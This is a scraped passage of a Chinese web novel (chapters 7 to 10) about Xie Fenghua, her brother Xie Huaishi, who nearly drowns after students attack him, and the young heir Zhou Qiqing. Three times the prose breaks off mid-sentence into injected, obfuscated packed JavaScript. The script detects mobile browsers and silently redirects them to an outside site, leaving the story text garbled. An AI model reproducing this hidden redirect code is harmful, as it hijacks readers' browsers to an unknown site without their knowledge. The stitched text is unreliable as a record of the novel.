谢逢华思忖，肩上一沉，一股铁锁般的蛮力勾着她向前走去。 周其卿将人带到了人少的竹林中，解开了桎梏。 得到喘气的机会，谢逢华扶膝咳嗽，好半晌才缓过劲，颇有怨词地看向他。 “你跟踪我？”周其卿开门见山。 “还真是你啊。”谢逢华用帕子抹去眼角泪水，无辜的眼眸中隐隐藏着几分得意，“我乱说的，没想到猜中了。” 周其卿噎了下，后知后觉，如今只觉得方才那个春心芳动的男子简直像个傻瓜。 “若非跟踪我，你怎么可能知道我去的是芳春楼，而不是奇月阁？”周其卿不服气地驳道。 谢逢华读书多，尤其读过兵法，自是不会被一个毛头小子带偏了话，“所以你承认你去过了？” 周其卿无话可说，一张脸更是憋成了猪肝色，支支吾吾半天，道：“你方才为何要……抱我？” 谢逢华镇定自若：“不小心绊倒了。” 周其卿瞪她：“男女授受不亲，你觉得我会信？” “爱信不信。” 那时的场景越回味越显二人狼狈。 谢逢华毕竟越界在先，难免做贼心虚，只是仗着比小毛孩多吃了几年饭，绷着脸装出一副“清者自清”的模样，才不使自己在他面前露怯。 周其卿干咳一声，话锋一转：“你认识我父亲？” “不认得。” 闻言，周其卿紧绷的肩瞬间松懈下来。 谢逢华拍拍衣衫上的浮尘，淡然道：“不过我家中倒是有人认得。” 才放回腹中的心又提回嗓子眼。 “狡诈！”周其卿斥责道，“你这是趁人之危！” “不做亏心事，不怕鬼敲门，”谢逢华道，“何况，我这叫兵不厌诈。” “你——” “我该去找人了。”谢逢华无意再与他纠缠，背起包袱就要离开。 长这么大，头一次被一个小女子玩弄了感情，周其卿又气又恼，可偏偏脑子没货嘴笨拙，就是说不过她。 听到她要去找人，脑海中蓦然浮现她方才所寻之人的姓名，周其卿眼睛一转，道：“你要寻谢学正？” 谢逢华不明所以，点头道：“你认得？” “我方才来时还见过他。”想到一会儿要做什么，周其卿不禁挺起了脊梁，“跟我走，小爷带你去找他。” 他能这么好心？ 谢逢华将信将疑，跟在他身后，走两步，时不时朝身后张望。 周其卿注意到她的小动作，停下脚步：“不信我？” “信。”谢逢华说着，后退了两步。 周其卿早已预料到她说一套做一套的虚伪本性。 想嘲讽些什么，视线不自觉下落，停在她陈旧衣衫包裹的纤弱身子上。 不知为何，脑海中控制不住地回味方才拥抱时那甜香的、柔软的触感。 话在唇边滚了几圈，咽回腹中。 真是奇怪，他一只手就能拎起来的小玩意怎么一点都不硌手呢？ 感受到身体某处的微妙变化，周其卿仓惶转过身，懊悔方才的冲动。 谢逢华歪头，疑惑地看着他：“还走不走？” 周其卿举步维艰。 像吃了十斤花椒，脸上涨麻，泛着不正常的红。 这个毒妇肯定在香料里下了药！ 周其卿愤然，身体却一动都不敢动。 谢逢华对此一无所知，甚至不满于他的出尔反尔，嘟哝着要离开。 不知哪里来的一阵冷风，拂过躁热的脸颊，周其卿一激灵，转头望去。 看清谢逢华离开的方向，不知为何，心头骤然一紧。 那个方向是…… “等等！” 谢逢华置若罔闻，仍自顾自朝前走着。 周其卿追上去，隔着粗糙的衣料，牢牢抓住了她的手腕。 “让你站住没听见？”周其卿微微气喘，恼怒道，“我说了，我带路。” 谢逢华挣脱他的桎梏，狐疑：“你当真认得谢怀世？” “我……” 话音未落，忽而不远处传来接二连三的喧闹。 谢逢华张望：“什么动静？” 周其卿意识到什么，骤然变了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16533603|186445||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 脸色。 — 今日谢怀世下学晚了些，公厨正是人满为患时。 若此时去，抢不到饭，还白挨一遭白眼。 这晚饭不吃也罢。 天色将晚，悬月含羞。 谢怀世念起家中妻妹，想起写了一半的家书，揉了揉饥肠辘辘的肚子，匆匆朝着廨舍走去。 踏入无人幽径，一旁的山水湖宛若明镜，将青黛天色收尽怀中。 “谢学正。” 不知从哪里钻出几个学子，蛮横地拦住了他的去路。 向后瞧，亦有几人站在来时小径上。 为首的是晨时因迟到被他批评的章旭。 身后几人虽面生，但依照他们健壮如牛的身形和手中的棍棒判断，或许是武学那边的学子。 这架势，摆明了要废了他。 刘尽才说的对，太学多为官宦子弟，鱼龙混杂，谢怀世如此咄咄逼人，迟早是要遭人报复的。 瞧瞧，报应这不就来了？ 谢怀世不动声色，对章旭道：“章学子好大的阵仗。” “作为您的学生，自是要风风光光送、您、回、家。” 章旭显然没有与他多言的意思，一抬手，身后人一拥而上。 前有追兵，后有堵截，谢怀世并无退路，但或许有一线生路。 腕口粗的棍棒迎面而上，谢怀世俯身，堪堪躲过，以相当诡异的角度穿过人缝，直奔着湖水而去。 章旭窥破他的意图，喊道：“拦住他！拦住他！” 扑通！ 湖面掀起巨大的水花，离得近的学子避之不及，淋了满身水渍。 学子们骂骂咧咧，一时激愤。 章旭拦下几个欲跃水抓人的同斋，道：“这湖水深，他坚持不了多久，等他撑不住，自会游上岸。” 同斋望着平静无波的湖面，一时迟疑，但见章旭如此笃定，打消了心中疑虑。 正当学子们七嘴八舌猜测谢怀世能坚持到几时，两道靓色踏着夕阳撞入学子们的视线中。 “世子？”章旭见状，忙起身行礼，“您怎么来了？” 看着学子们手中的杀伤性武器，周其卿眉心一跳，微微侧身，挡住了谢逢华探寻的视线。 “人呢？”他问。 章旭扬了扬下巴，示意水面，“宁死不屈，投河了。” “我有没有说过别出人命？”周其卿压低声音，牵制着谢逢华手腕的手收紧。 直到身后人倒吸一口凉气，周其卿如梦初醒，甩开了谢逢华的手。 周其卿解开腰带，褪下长衫，在周围人惊讶的目光中，纵身一跃，坠入湖中。 “周其卿！” 少女一声尖锐呼唤，唤醒了学子们难能可贵的求生欲。 “世子殿下！” 如鲤越池，一个接一个跳下水。 不多时，湖边小径一个个浅洼荡漾。 谢逢华不知周其卿为何突然发疯投河，可她不会凫水，被同样几个旱鸭子拦在湖边，看着湖面上搅起千帆浪干着急。 不知过了多久，在众人一声声呼唤中，水面上终于探出周其卿的脑袋。 “周其卿！” 谢逢华不顾鞋子和裙摆被泥水沾湿，赶忙跑到湖边。 周其卿游到岸边，先将捞上来的人推递给岸上众人。 “来来来，搭把手！” “死了没？” “还有口气。” “先把世子救上来！” “……” 哄闹的人群中，一些人将昏迷不醒的溺水者拖到一旁，又是按腹又是掐人中，在恐惧中与阎王爷抢人。 另一些人围着刚上岸的周其卿嘘寒问暖，生怕这位小祖宗折了半根头发。 谢逢华从某本书上看到过溺水者的救治方法，想要去帮忙救人。 当她走近，这才看清昏迷之人的正脸。 刹那间，谢逢华愣在了原地，手脚生寒。 “兄长？” 8. 第 8 章 廨舍两人而居，一人是谢怀世，另一人则是太学博士刘尽才。 “好端端怎会落水？周围那么多学子就无一人出手相救？” 谢逢华坐在床旁，端着药碗，听着刘尽才喋喋不休念叨，神色麻木。 床上，谢怀世脸色惨白如亡故之人。 许是无人再如往常般应和他，刘尽才边派人请郎中边寻人盘问事情来龙去脉，说累了，喝口凉茶静心，大步走到床边，将谢怀世拽了起来。 “小娘子，我扶着他，把药直接灌进去。” 谢逢华唇颤了颤，吐出一字：“好。” 无论方法如何，这药算是灌进去了。 安置好谢怀世，送走郎中，刘尽才也冷静下来，看着止不住发抖的谢逢华，道：“天色已晚，谢娘子可有落脚的地方？” 谢逢华摇头：“我家在城西，今日才到城东。” “晚时不便，你一人在外，家中长嫂定然担心。”刘尽才道，“我派人为你另寻一间空舍，你且先住着，待你兄长好些了，再回去报平安，如何？” 兄长生死未卜，嫂嫂一人操持家事，谢逢华一人分身乏术，两头为难。 谢逢华讨厌无能为力的自己，幼时有爹娘庇佑，长大又赖着兄嫂扶助，她饱读诗书，却无半分用武之地。 事已至此，谢逢华已没有拒绝的余地。 说是空屋，其实这间屋子原本住着一个人，但性格古怪，不与人为善，常独来独往，自然没人愿意也没胆量与她同住。 一间屋子两张床，两把椅子一长桌，桌上油灯还燃着，一人长发低盘，正伏案阅书。 听闻谢逢华来历，她脸上没什么表情。 毕竟是女子所住，刘尽才不便久留，嘱咐谢逢华好好休息，又向那人作揖，道了句“您歇好”，就退出了房间。 这人瞧着比刘尽才小十多岁，衣着朴素看不出层级，刘尽才如此恭维她，显然此人身份非同小可。 谢逢华抱着包袱，站在门边，眼巴巴瞧着她。 觉察到她的目光，容舟掀了掀眼皮，嗓音因长久不用而沙哑变调：“还站在那里做什么？等我伺候你吗？” 谢逢华头摇似拨浪鼓，三两步上前，恭敬施礼：“晚辈谢逢华，见过容祭酒。” 容舟翻了一页书，道：“《论学》第三卷二篇，第五句讲的是什么？” 谢逢华不假思索：“‘师正心而受学，不贪名，不图利，不论学子名，而求问道心’。” 容舟眼中流露几分赞赏，不由得多看了她一眼：“今年多大了？” “过了生辰，便满二十了。” “可有婚配？” “曾许过几桩婚事，只是命数不好，尚未过门，夫君就遭遇不测，早早撒手人寰了。” “倒真是‘不测’。”容舟轻笑，“右床归你，要做什么自便，缺东西去临舍借，我从不照顾小孩。” 说罢，容舟又恢复了一惯的冷淡，继续研习书本。 谢逢华从临舍借了一套床褥，简单拾掇一下，转眼见容舟还在盯着书本苦读，想了想，从柜子上拾出剪刀。 容舟一人独住，平日能省便省，连油灯都舍不得多点一盏。 偏她又喜爱在夜间夜深人静时读书，日积月累，眼睛也越发不好了。 容舟盯着书上晃晃悠悠的字迹，闭目按了按眉心，稍加放松，再睁眼，纸面忽而明亮许多。 谢逢华剪去灯花，将烛台往容舟面前推了几分。 容舟无动于衷。 谢逢华从包袱里翻出半张没吃完的炊饼，搬了个椅子坐在桌案对面，小口慢慢啃着，细嚼慢咽。 还好炊饼并没有想象的酥脆，不至于吵到容舟读书。 只是这饼放的时间长了，未免有些干噎。 谢逢华实在憋不住，捂着嘴闷闷咳嗽了两声。 “茶水在你身后的柜子上，还温着。” 谢逢华愣了下，后知后觉意识到是容舟在与她说话，忙朝她道谢，慌慌张张倒了茶水，一饮而尽。 吃饱喝足，谢逢华朝不动如山的容舟行了个礼，随后和衣上床，没有被子，就先用外衫充当薄被。 一天之内惊心动魄，谢逢华掏尽了所有精力，到头就睡着了。 心头压着兄长和嫂嫂，谢逢华这一晚睡得并不踏实，意识总在清醒和困意中徘徊不定，连她自己都不知是不是真的睡着了。 直到户外雄鸡报晓，谢逢华一激灵，猛得坐了起来。 坐起身，这才发现身上触感不对。 低头一瞧，身上的长衫不知何时变成了薄被，谢逢华下意识看向左床。 床铺整洁，不见容舟半分身影。 这是起的多早啊。 谢逢华叹气，掀开被子下了床。 穿戴整齐，谢逢华直奔着谢刘的廨舍而来。 叩了两下门，刘尽才扶着发冠开了门，看清来人，尴尬笑了笑：“烦请稍待片刻。” 再出来时，刘尽才衣冠楚楚出现在她面前。 “昨夜济民突发高热，今早才转好些，你且小心照看着，若有需要，尽管开口。” 顿了顿，刘尽才道：“谢娘子，你昨夜说，是周世子救了济民？” 谢逢华不解其意，点头应是。 刘尽才眼神古怪，却也没说什么，多关照了几句，便匆匆离开了。 谢逢华踏进舍内，遥见床榻上的人坐着，顿然喜出望外：“兄长！” 谢怀世抬臂挡住扑上来的人，干咳几声，哑着嗓道：“离我远些，莫让病气传染你。” 当初她生病时，谢怀世衣不解带照顾几日，那时也没嫌弃她身上的病气，怎么轮到她就不行了？ 谢逢华试了试他额头温度，仍有些灼手，便问道：“昨夜请过郎中了吗？” “夜黑路盲，郎中来一趟不容易，我没让人请。” “这怎么行？”谢逢华说着就要起身，“我去请郎中开方子。” “应时，回来。”谢怀世抓住她的衣角，苍白的唇一张一翕，“陪我待会儿就好了。” 谢怀世问了家中近况，看过家书，他沉默了许久。 “兄长？”谢逢华握紧他冰凉粗糙的手掌，担忧道，“信中写了什么？” “写了……算了，都是鸡毛蒜皮的小事。” 谢怀世将信纸叠好，压在枕下，望向谢逢华的眼眸多了一抹关怀，“这些日子你都在做什么？” “在学堂教书。” “感受如何？” “不好。”忆起学堂学子那番话，谢逢华蔫蔫趴在床边，“他们说女子读书无用，读万卷书，最后还是要嫁为人妻相夫教子。” 谢怀世摸着小妹的头，口中苦涩。 “我连那些相夫教子的女子都比不过，她们至少有所依靠，我……我什么都没有，满腹经纶成了无用……” 谢怀世抬手敲了下她的脑壳，严肃道：“不许妄自菲薄。我说过，你读书，是为了你自己，是为了有逆天改命的底气。” 见谢逢华似懂非懂，谢怀世接着道：“太学祭酒容舟便是女子，据我所知，她二十七岁入太学任祭酒，至今已有十余年，你幼时常说想做女官 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16533604|186445||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，这不，容舟便是你的榜样。” “明日容祭酒在清心阁张筵讲学，邀太学所有学子学官论学，你若得空，去听一听，听得懂，或许你们还能成为知音；听不懂，全当消磨时间了。” 谢怀世大病未愈，熬不住久坐，才唠了几句家常便昏昏欲睡。 谢逢华不便打扰他休息，悄悄退出了屋内。 谢逢华庆幸路上没有贪吃，不然连买药钱都得向旁人开口。 凭着来时记忆，谢逢华绕过竹林，来到岔路口。 正当她犹豫走左路还是右道，耳畔蓦然一阵痒，一摸，指间多出一小簇野菊。 纯白小朵，指甲盖大小，没什么香气。 谢逢华转头望去，周其卿青衫配青冠，神情淡然，颇有几分小家碧玉的俊秀。 对上谢逢华疑惑的目光，周其卿别开视线，不自然地背过手，好像在掩饰什么。 周其卿道：“谢……谢学正好些了吗？” “刚歇下不久。”谢逢华捏着那朵花，随意别在发髻间，捋顺碎发，道，“你昨夜也浸了水，如今可有不适？” 周其卿道：“有些冷。” 谢逢华：“喝过姜汤了吗？” 周其卿皱眉，道：“不爱喝。” 谢逢华无奈，念在救兄一命，倒也没再逼他。 “你要去哪儿？” “去外面抓药。” “我陪你。” “不必，我昨日来时走过，认得路。” 周其卿不知吃错了什么药，执拗地跟了上来，不近不远地跟在她身后。 谢逢华想跟他说话，他别过脸拒绝交流；谢逢华不理他，他又总是踩到她的裙摆。 知道的是随她买药，不知道的还以为姐弟出游闹了别扭， 谢逢华一忍再忍，直到忍无可忍，猛然停下脚步。 周其卿避之不及，直直撞到谢逢华的后背。 谢逢华被撞了个踉跄，周其卿及时伸手来扶，这才没让她在大庭广众下摔破相。 一抬头，果真到了医馆。 谢逢华瞥他一眼，迈步跨过门槛。 开了一副方子，谢逢华指了指正在掏钱袋的周其卿，道：“给他也开一副吧。” 周其卿怔愣：“我没事。” 郎中会意：“这位公子，请把手给老夫。” 周其卿手藏在身后，“我没事！” 谢逢华不知哪里来的力气，掏过他的手，按在脉枕上，不容置疑，“来都来了，左不过一盏茶的功夫，不会误了你上课。” “……” 郎中捻着胡须，眉头一皱，道：“这位公子近日可有白日口干舌燥、心神不宁、夜里遗精的症状？” 显然未料到郎中如此直白，周其卿脸上爆红，下意识看向谢逢华。 谢逢华垂眸，以帕掩唇，好似什么都没听见，又好似一字不落地全听了去。 周其卿干咳一声，含糊地“嗯”了声。 郎中看着含羞的二人，心中感叹夫妻二人真是登对，只是这公子年岁不大，年轻气盛倒也正常。 “阴虚火旺，倒不是什么大病。老夫给你开副方子调养调养，只是……” 谢逢华掐着自己的大腿才勉强不让自己笑出声，“只是？” 郎中意味深长地看了眼周其卿，道：“只是日后房事需节制。你们年纪尚青，忍一时，以后便多一时，效果比吃补药更……” “噗嗤。” 谢逢华再也忍不住，咯咯笑出了声。 周其卿的脸瞬间垮下来，黑得如烧过的木炭。 9. 第 9 章 不过是灌了些湖水，素日舞刀弄枪的健硕身体打了一夜的冷颤。 周其卿辗转反侧，同斋战战兢兢。 周其卿几番想去寻谢怀世。 怕谢怀世不醒，又怕谢怀世醒来，怕来怕去，还是担心谢怀世说漏嘴，怕迎面对上谢娘子失望的目光。 “世子，明日还有课。” 黑夜中，一个同斋小心翼翼地提醒道。 这是嫌他翻身动静大了。 周其卿不动了，身体绷得比戒尺还直。 他难得没发脾气，倒弄得其他人心里没了底。 “世……世子？” “说。” “您睡了吗？” “……” “世子？” “闭嘴！睡觉。” “……哦。” 周其卿闭上眼，浮现脑海的是谢小娘子的面容。 楚楚可怜的，狡黠灵动的，慌乱无措的…… 周其卿越发觉得她的香缨里掺了迷魂药。 不然怎么偏偏对她念念不忘呢？ 周其卿起了个大早，练了武，没去上课。 沿着竹林闲逛散心，没成想就撞见了心心念念的她。 她站在岔路口，徘徊不定。 换做从前，周其卿定然主动上前寒暄。 可如今，他手中没筹码，不敢贸然打扰。 周其卿正抓耳挠腮，余光落在角落里一簇野花上。 花开得正盛。 她并不讨厌，还别在发间。 很衬她。 见她开心，周其卿也多了些莫名的勇气，道：“谢学正为何落水？” “失足。”谢逢华回忆谢怀世所言，“兄长说，那时他想抄小路，没想到湖边石子湿滑，他没留神，跌进了湖中。” 周其卿：“没说别的？” 谢逢华侧目：“说什么？” 话落，周其卿难得沉默了许久，低着头跟在她后面慢慢走。 谢逢华有所觉察，以为周其卿没及时救上谢怀世而愧疚，想了想，安慰道：“哥哥没事，若细心调养，过两日便能照常讲学。” “……嗯。” 谢逢华道：“若不是你，恐怕我们谢家又要多出一个坟冢。” 谢逢华絮叨几句，见周其卿提不起精神，悻悻闭了嘴。 抬眼瞧见不远处的药房，谢逢华扭头看了眼依旧怏怏不乐的周世子，豁然开朗——他一定是生病了才不开心的。 抓一副药就好了。 谢逢华进门时便如此设想。 只是出来时候，周其卿的脸色似乎更差了，嘴角几乎耷拉到地上。 谢逢华揉了揉酸麻的腮帮子，拎着两副药包，碎步跟上，“你的药！” “谢——”周其卿猛得回身，却在唤她名字时欲言又止，“应时？” “嗯？”谢逢华道，“按年岁，我长你几岁，你就如此唤我吗？” 周其卿瞳孔紧缩：“你怎么可能比我年长？” 这话虽直白，谢逢华却莫名爱听，“有何不可？” 周其卿回想起昨日种种，如鲠在喉，“谢应……” 见他支支吾吾说不出话，谢逢华这才想起尚未告知他姓名，道：“谢逢华，应时是我的表字。” 三个字怎么念怎么烫嘴。 周其卿扭捏片刻，还是过不去心里的坎。 谢逢华负手，仰头看着他。 周其卿被盯得脑子发烫，心一横，拱手施礼：“谢娘子，这些天……冒犯了。” 谢逢华还想说什么，周其卿突然走近，从她手中夺走了自己那份药包。 不待谢逢华反应，一溜烟跑远了。 直到人群中再找不见周其卿的身影，谢逢华摩挲发间碎花，笑容浅淡。 从街上买了些蔬果，谢逢华回了太学。 用过药后，谢怀世昏昏沉沉休息了半日，夕阳落山时，温度总算降了下来。 谢怀世好些后，听闻谢逢华尚未用过午膳，便提议带她去外面“开开荤”。 谢逢华阻拦无果，只得为她这不省心的兄长多加了一件衣裳，“待我回去就告诉嫂嫂你在外面偷吃。” “吃都吃了，回去给你嫂嫂也带些？”谢怀世将她发间的花摘出来，道，“哪里摘的花？居然不给哥哥？” “周世子给的。”看着掌心萎靡不振的花，谢逢华倒也没瞒着，系上披风，道，“兄长若喜欢，妹妹再去给你摘。” 谢怀世顿觉那些花脏了手。 谢怀世道：“应时，周世子怎会送你花？” “恰好遇见了。”兄长问，谢逢华便说了，“话说回来，周世子不仅救了您，这药钱还是周世子自掏腰包垫付的。” 谢怀世能面不改色喝完一整晚苦涩的药汤，却在谢逢华说出救命恩人是周其卿时变了脸色。 居然是周其卿救了他？ 他们这群学子不是恨不得杀了他吗，又何必闹这一出戏。 还将谢逢华牵扯进来…… “兄长？” “嗯？”意识到失态，谢怀世深呼吸，抬眼又恢复了往日的神态。 谢怀世反手一抛，任由花瓣飘零，溺于泥土之中。 “兄长当真是要好好谢谢周世子的‘恩情’了。” — 谢怀世自掏腰包，带谢逢华去了一趟酒楼，点了几道荤菜，正想点一壶酒，就被谢逢华一记眼刀吓得缩回了手。 吃了两口菜，谢逢华道：“若嫂嫂跟来就好了，这排骨炖的甜而不腻，最合嫂嫂的口味。” “你嫂嫂以前当千金小姐时，最爱吃的就是这家的排骨汤。”谢怀世神神秘秘，“为了追你嫂嫂，我还找店家要过配方。” 谢逢华接话：“然后被人一脚踹出门了？” 谢怀世震惊：“你怎么知道？” “嫂嫂告诉我的。”谢逢华擦去嘴边甜酱，掰着手指头数道，“嫂嫂还说，当初你为了见嫂嫂，大半夜御史家的高墙，结果被嫂嫂家的狗发现了，咬掉了半只鞋；还有——” “好了，别再说了。”谢怀世捂住她的嘴，耳根泛红，“那点陈年旧事就别翻出来了。” 谢逢华笑笑不说话。 酒足饭饱，回太学的路上，谢怀世突然问道：“应时，我走后，除了邻里街坊，家中可曾来过什么人？” 谢逢华点头，将临走那日的事说了。 谢怀世听完，若有所思，“他和你嫂嫂说了什么？” “不知道，那人对嫂嫂很凶。”谢逢华道，“我问过嫂嫂，但是嫂嫂不告诉我，说什么与我无关。” 谢怀世张了张口，却什么都没说。 一路上谢怀世反常得沉默寡言，只在谢逢华说想要花灯时，主动掏钱付账。 回到太学，谢怀世将她送到廨舍，在她进门前，拉住了她的衣袖。 “应时，你想何 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16533605|186445||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时离开？” 谢逢华犹豫：“明日？” “你难得来一趟，不如多住两日再回去？”谢怀世眼神飘忽，手腕上的手隐隐发抖。 谢逢华不解：“可嫂嫂……” “你嫂嫂也没说过让你何时回去吧？”谢怀世含糊其辞，“多日未见，你就当陪陪兄长，晚几日再归也不妨事。” “嫂嫂……” 谢怀世道：“我今夜写一封家书寄回家中，让你嫂嫂安心。你且在太学多留几日，养养精力，回去也好给你嫂嫂一个交代。” 谢逢华心中百般不解，但见谢怀世如此执拗，只好应下。 谢怀世松了口气，“明日下早堂，兄长陪你一起去听祭酒讲学。” “嗯。” 目送谢怀世离开，谢逢华满腹狐疑，却也无从下手，只能逼着自己相信兄长的安排。 推开门，屋内依旧是一人一灯的诡异又安详的场景。 “容祭酒。” “回来了？”容舟破天荒搭话，“方才似乎听到谢学正的声音，怎么，他好些了吗？” “好多了，明日便可正常讲学。” “那就好，”容舟道，“朝廷办立太学，设诸多学官，可不是为了吃白饭装脸面的。” 谢逢华笑容僵在脸上，“不知祭酒此话何意？” 容舟又不理她了。 毕竟是长辈，又是谢怀世的上级，谢家靠着这点薪酬吃饭，谢逢华也不好说什么，简单拾掇后就上床睡觉了。 翌日，谢逢华起了个大早。 彼时容舟才穿戴整齐，正对镜挽发。 见状，谢逢华一个激灵坐起来，开始穿戴外衣。 容舟从镜子里窥见她的行动，眉头微蹙，放下发簪。 待谢逢华束了发，容舟才走出屋内。 谢逢华也顾不得别上发簪，披上长褙，忙追了出去。 此时天才泛起鱼肚白，露水湿重，寒气未消，谢逢华打了个寒颤，看着前面头也不回的容舟，一咬牙，跟了过去。 谢逢华在几步路远的地方尾随着，刻意压低了步子，直跟着容舟进了公厨。 公厨学子尚少，容舟与备餐的伙夫低声说了几句什么，随后头也不回地离开了。 谢逢华疑惑，抬脚欲追，方才那伙夫突然出声：“那位学子是来用早膳的吧？” 前来用膳的学子多为男子，谢逢华不着青衫，站在那里着实扎眼。 那伙夫倒是热情，给她端了碗热腾腾的磨豆浆和两根炸油桧，问她是否是新来的学子，又问她和祭酒是什么关系。 “祭酒说让您多吃些，我来太学好几年了，头一次见祭酒对一个学子如此重视。” 让伙夫盯着她吃饭也算重视吗？ 谢逢华喝了口豆浆，肯定了伙夫的手艺后，问道：“那您知道容祭酒平日都去哪里吗？” “听别的学子说，容祭酒早晚都会逛一次讲堂旁听，其余时辰都待在书斋里办公，怎么，你也有事相求？” 谢逢华没否认，顺水推舟问清了太学布局和讲学时辰。 聊着聊着，不知不觉，公厨的学子渐渐多了起来。 伙夫被另一人唤去帮忙，谢逢华又坐了一会儿，左等右等不见熟面孔，只得作罢。 离开公厨，谢逢华随手拦下一个学子，问了谢怀世所在的讲堂。 算算时辰还来得及，谢逢华定了定心神，朝着另一方向走去。 10. 第 10 章 谢逢华高估了自己的寻路能力。 太学分为东西两区，东区设崇明堂、御青阁和礼庙，主讲学；西区置二十斋、廨舍和射圃等休闲设施，主生活娱乐。 等赶到讲堂外，书声琅琅。 谢逢华压着步子，朝窗边靠近。 “所以说圣者皆为凡人，凡人亦可为圣人……” 听起来，似乎是太学博士刘尽才的声音。 谢逢华静下心，蹲坐在窗下，听着屋内教学的讲课声，不知不觉，竟听入了神。 倘若大夏没有与梁国打这一仗，倘若那年阳城没有那些事，或许如今的谢逢华尚能与太学学子读书共事。 “你怎么在这儿？” 身后蓦然传来周其卿的声音。 谢逢华见到他同样惊讶：“你又逃课了？” 周其卿疑惑：“什么叫‘又’？我这不是来了吗？” 谢逢华：“你怎么不进去？” 周其卿却没有回答的意思：“你来这里做什么？” 谢逢华道：“自然是等我兄长。” 周其卿淡淡“嗯”了声，目光落在她身上，依旧没有进去的意思。 谢逢华被他盯得后脊发凉，下意识退了几步，“你也在等人？” 周其卿收回视线：“不等。” 不知是故意还是有心，谢逢华问道：“药方有效果吗？” “不需要。”念起昨日的事，周其卿又气又羞，一拂袖，道，“我去上课了。” 走了两步，周其卿停下脚步，回头看她：“你与谢学正真的是亲兄妹吗？” 谢逢华疑惑：“不像吗？” 谢娘子如此美丽动人，哪里像那个凶神恶煞的活阎王了？ 昨日走得太急，亦忘了问谢逢华是否有婚配。 有又如何，周其卿不过是年纪尚小，过两年及冠，再考个功名做个官，以他的家世背景，何愁无处撬墙角？ “像，又不像。”周其卿心不在焉，“我进去了。” 许是碍着救命之恩，谢怀世倒也没再斥责他。 周其卿不以为意，坐回书案上，余光瞥见窗沿一角的异色，勾了勾唇，在同堂堪称惊悚的目光中翻开了封尘的书本。 待下了堂，刘尽才离开后，谢逢华悄悄绕到谢怀世身后，趁其不备，拍上他的肩：“兄长！” 谢怀世正清点书案上的用具，冷不防被吓了一哆嗦，回头见是谢逢华，心跳慢慢缓和下来。 “你怎么来了？不是说好一会儿接你吗？” 谢逢华歪着脑袋看纸上的到堂名单，找到熟悉的名字，含笑看向后排。 周其卿趴在书案上，以书为被，睡得正酣。 “周世子无忧无虑，真是令人羡慕。”谢逢华挽上谢怀世的胳膊，笑吟吟道，“兄长，我想吃东市的枣糕。” “好，待我忙完就陪你去。” “何时忙完？” 谢怀世说不知道，一切听刘博士安排。 谢逢华一听就撇嘴，“倒是妹妹来的不是时候了。” 正说着，刘博士不知何时去而折返，说有要事寻谢怀世商议。 谢怀世再三发誓晚时一定带她去，谢逢华这才不情不愿放他离开。 学堂安静下来，谢逢华走到周其卿案边，盯着他瞧了片刻，道：“周世子读书刻苦，回家躺在床上岂不是睡得更舒服些？” 周其卿早在下堂钟声响起时便醒了，只是谢逢华不走，他也不大好意思起来。 被谢逢华戳破伪装，周其卿坐起活动发麻的胳膊，若无其事道：“谢娘子还是这么会说话。” 谢逢华负手而立，视线落在书案上。 周其卿将书倒扣桌上，干咳一声，道：“谢娘子今日有何打算？” 谢逢华：“兄长说今日巳时祭酒在清心阁讲学，让我去听听。” 周其卿对此并无兴致：“没什么好听的，估计又是酸朽老头常说的那套话术。” 谢逢华：“你听过？” “没听过。”周其卿合上书，起身整理衣衫，冷哼道，“说的没一句爱听的。” “那我自己去罢。”谢逢华说着，作势要走。 见状，周其卿有些焦急，顾不得收拾乱糟糟的桌案，抬脚跟了上去：“我又没说不去！” — 抵达清心阁时，阁楼里三层外三层堆满了人。 据周其卿所言，清心阁分为上下三层，一层专为祭酒提供讲学的地方；二层藏书无数，三层则珍藏着太学世代奇珍异宝。 据说清心阁原本是专门用来藏书的书馆，后来书多了便装不下了，另修了更宽阔承载量更大的御青阁，清心阁也暂时空置下来，另作他用。 “都有什么书？”提到藏书，谢逢华略显欣喜。 “没仔细瞧过。”周其卿目视前方，将拥挤的人群拨开些空距。 有人瞧见周其卿，自觉让出一条路，只是看到他身后的谢逢华，不禁低声议论。 “这人是谁？” “不认识，新来的学子吗？” “没见过，不过太学已经很久没有女学子了。” “……” 四周议论纷纷，谢逢华正懊悔出门没带面纱，一抬头，撞上一个坚硬的后背。 周其卿回头，奇怪地看着她，“怎么了？” 谢逢华捂着被撞疼的鼻子，满眼幽怨。 周其卿侧身让路。 看到前方空旷的授课讲堂，谢逢华这才意识到周其卿已将她带到了人群的最前排，离祭酒也不过两三尺距离。 自然容舟也看见了他们。 “难得见世子前来，老夫真是受宠若惊。” 语气平平，声量也只有离得近的人才能听见。 